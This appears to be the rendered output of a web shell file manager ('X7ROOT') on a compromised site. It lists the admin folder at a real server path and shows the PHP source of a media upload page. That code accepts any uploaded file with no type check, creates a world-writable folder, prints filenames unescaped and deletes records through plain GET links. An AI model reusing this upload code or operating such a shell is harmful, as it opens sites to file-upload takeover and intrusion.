X7ROOT File Manager
Current Path:
/home/u126090504/domains/oca.org.in/public_html/admin
home
/
u126090504
/
domains
/
oca.org.in
/
public_html
/
admin
/
📁
..
📄
achievers.php
(13.81 KB)
📄
admissions.php
(5.67 KB)
📄
banners.php
(7.18 KB)
📄
change_password.php
(3.54 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(9.73 KB)
📄
downloads.php
(4.91 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(13.27 KB)
📄
forgot_password.php
(6.52 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
governing-body-manage.php
(9.12 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(5.32 KB)
📄
grievances.php
(5.79 KB)
📁
includes
📄
index.php
(82 B)
📄
login.php
(6.59 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(2.28 KB)
📄
manage_media.php
(3.02 KB)
📄
manage_photos.php
(5.66 KB)
📄
manage_videos.php
(3.62 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(16.36 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(15.23 KB)
📁
phpmailer
📄
popup.php
(10.68 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(5.21 KB)
📄
submit-grievance.php
(4.97 KB)
📄
testimonials.php
(10.25 KB)
📄
update_status.php
(1.29 KB)
📄
upi_settings.php
(1.52 KB)
Editing: manage_media.php
<?php include 'secure_session.php'; // 🔐 Always first (session security) include 'includes/auth.php'; // ✅ Your authentication check require_once '../config.php'; // ✅ DB connection include 'includes/header.php'; // ✅ Layout header $success = $error = ""; // Upload Photo if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['image'])) { $title = $_POST['title']; $imageName = time() . "_" . basename($_FILES["image"]["name"]); $target = "../uploads/media/" . $imageName; // ✅ Create folder if not exists if (!is_dir("../uploads/media")) { mkdir("../uploads/media", 0777, true); } if (move_uploaded_file($_FILES["image"]["tmp_name"], $target)) { $stmt = $conn->prepare("INSERT INTO media_corner (title, image) VALUES (?, ?)"); $stmt->bind_param("ss", $title, $imageName); $stmt->execute(); echo "<div class='alert alert-success'>✅ Photo Added Successfully!</div>"; } else { echo "<div class='alert alert-danger'>❌ Failed to Upload Photo!</div>"; } } // Delete Photo if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $res = $conn->query("SELECT image FROM media_corner WHERE id=$id"); if ($res->num_rows > 0) { $row = $res->fetch_assoc(); $filePath = "../uploads/media/" . $row['image']; if (file_exists($filePath)) { unlink($filePath); } } $conn->query("DELETE FROM media_corner WHERE id=$id"); echo "<div class='alert alert-warning'>🗑 Photo Deleted!</div>"; } ?> <div class="container mt-4"> <h2>🖼 Manage Media Corner</h2> <!-- Upload Form --> <form method="POST" enctype="multipart/form-data" class="mb-4"> <div class="form-group"> <label>Photo Title</label> <input type="text" name="title" class="form-control" placeholder="Enter photo title" required> </div> <div class="form-group"> <label>Select Photo</label> <input type="file" name="image" class="form-control-file" required> </div> <button type="submit" class="btn btn-primary">Upload Photo</button> <a href="dashboard.php" class="btn btn-secondary">⬅ Back to Dashboard</a> </form> <!-- Show Uploaded Photos --> <div class="row"> <?php $res = $conn->query("SELECT * FROM media_corner ORDER BY id DESC"); while ($row = $res->fetch_assoc()) { $title = htmlspecialchars($row['title']); $image = $row['image']; $path = "../uploads/media/" . $image; echo " <div class='col-md-3 mb-4'> <div class='card'> <img src='$path' class='card-img-top' alt='$title'> <div class='card-body text-center'> <h6>$title</h6> <a href='manage_media.php?delete={$row['id']}' class='btn btn-danger btn-sm' onclick=\"return confirm('Delete this photo?')\">Delete</a> </div> </div> </div>"; } ?> </div> </div> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder